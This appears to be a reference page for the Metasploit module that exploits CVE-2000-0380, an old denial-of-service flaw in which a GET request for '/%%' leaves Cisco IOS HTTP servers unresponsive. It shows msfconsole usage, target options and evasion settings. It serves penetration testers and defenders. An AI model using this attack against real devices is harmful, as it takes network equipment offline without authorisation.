Cisco IOS HTTP GET /%% Request Denial of Service - Metasploit
This page contains detailed information about how to use the auxiliary/dos/cisco/ios_http_percentpercent metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Cisco IOS HTTP GET /%% Request Denial of Service
Module: auxiliary/dos/cisco/ios_http_percentpercent
Source code: modules/auxiliary/dos/cisco/ios_http_percentpercent.rb
Disclosure date: 2000-04-26
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 80
List of CVEs: CVE-2000-0380
This module triggers a Denial of Service condition in the Cisco IOS HTTP server. By sending a GET request for "/%%", the device becomes unresponsive. IOS 11.1 -> 12.1 are reportedly vulnerable. This module tested successfully against a Cisco 1600 Router IOS v11.2(18)P.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use auxiliary/dos/cisco/ios_http_percentpercent
msf auxiliary(ios_http_percentpercent) > show targets
... a list of targets ...
msf auxiliary(ios_http_percentpercent) > set TARGET target-id
msf auxiliary(ios_http_percentpercent) > show options
... show and set options ...
msf auxiliary(ios_http_percentpercent) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
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Msfconsole Usage
Here is how the dos/cisco/ios_http_percentpercent auxiliary module looks in the msfconsole:
msf6 > use auxiliary/dos/cisco/ios_http_percentpercent
msf6 auxiliary(dos/cisco/ios_http_percentpercent) > show info
Name: Cisco IOS HTTP GET /%% Request Denial of Service
Module: auxiliary/dos/cisco/ios_http_percentpercent
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2000-04-26
Provided by:
aushack <[email protected]>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
Description:
This module triggers a Denial of Service condition in the Cisco IOS
HTTP server. By sending a GET request for "/%%", the device becomes
unresponsive. IOS 11.1 -> 12.1 are reportedly vulnerable. This
module tested successfully against a Cisco 1600 Router IOS
v11.2(18)P.
References:
http://www.securityfocus.com/bid/1154
https://nvd.nist.gov/vuln/detail/CVE-2000-0380
OSVDB (1302)
Module Options
This is a complete list of options available in the dos/cisco/ios_http_percentpercent auxiliary module:
msf6 auxiliary(dos/cisco/ios_http_percentpercent) > show options
Module options (auxiliary/dos/cisco/ios_http_percentpercent):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
Advanced Options
Here is a complete list of advanced options supported by the dos/cisco/ios_http_percentpercent auxiliary module:
msf6 auxiliary(dos/cisco/ios_http_percentpercent) > show advanced
Module advanced options (auxiliary/dos/cisco/ios_http_percentpercent):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCipher no String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the dos/cisco/ios_http_percentpercent module can do:
msf6 auxiliary(dos/cisco/ios_http_percentpercent) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the dos/cisco/ios_http_percentpercent auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(dos/cisco/ios_http_percentpercent) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
TCP::max_send_size 0 no Maxiumum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #9189 Merged Pull Request: Change author name to nick.
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6139 Merged Pull Request: Remove bad references (dead links)
- #5567 Merged Pull Request: Fix author
- #2525 Merged Pull Request: Change module boilerplate
- #1228 Merged Pull Request: MSFTIDY cleanup #1 - auxiliary
References
- BID-1154
- CVE-2000-0380
- OSVDB (1302)
See Also
Check also the following modules related to this module:
- auxiliary/dos/cisco/ios_telnet_rocem
- auxiliary/dos/cisco/cisco_7937g_dos
- auxiliary/dos/cisco/cisco_7937g_dos_reboot
- post/apple_ios/gather/ios_image_gather
- post/apple_ios/gather/ios_text_gather
- auxiliary/admin/netbios/netbios_spoof
- auxiliary/dos/apple_ios/webkit_backdrop_filter_blur
- auxiliary/gather/fortios_vpnssl_traversal_creds_leak
- auxiliary/scanner/http/cisco_ios_auth_bypass
- auxiliary/scanner/http/nagios_xi_scanner
- auxiliary/scanner/netbios/nbname
- auxiliary/server/netbios_spoof_nat
- auxiliary/spoof/cisco/cdp
- auxiliary/spoof/cisco/dtp
Authors
- aushack
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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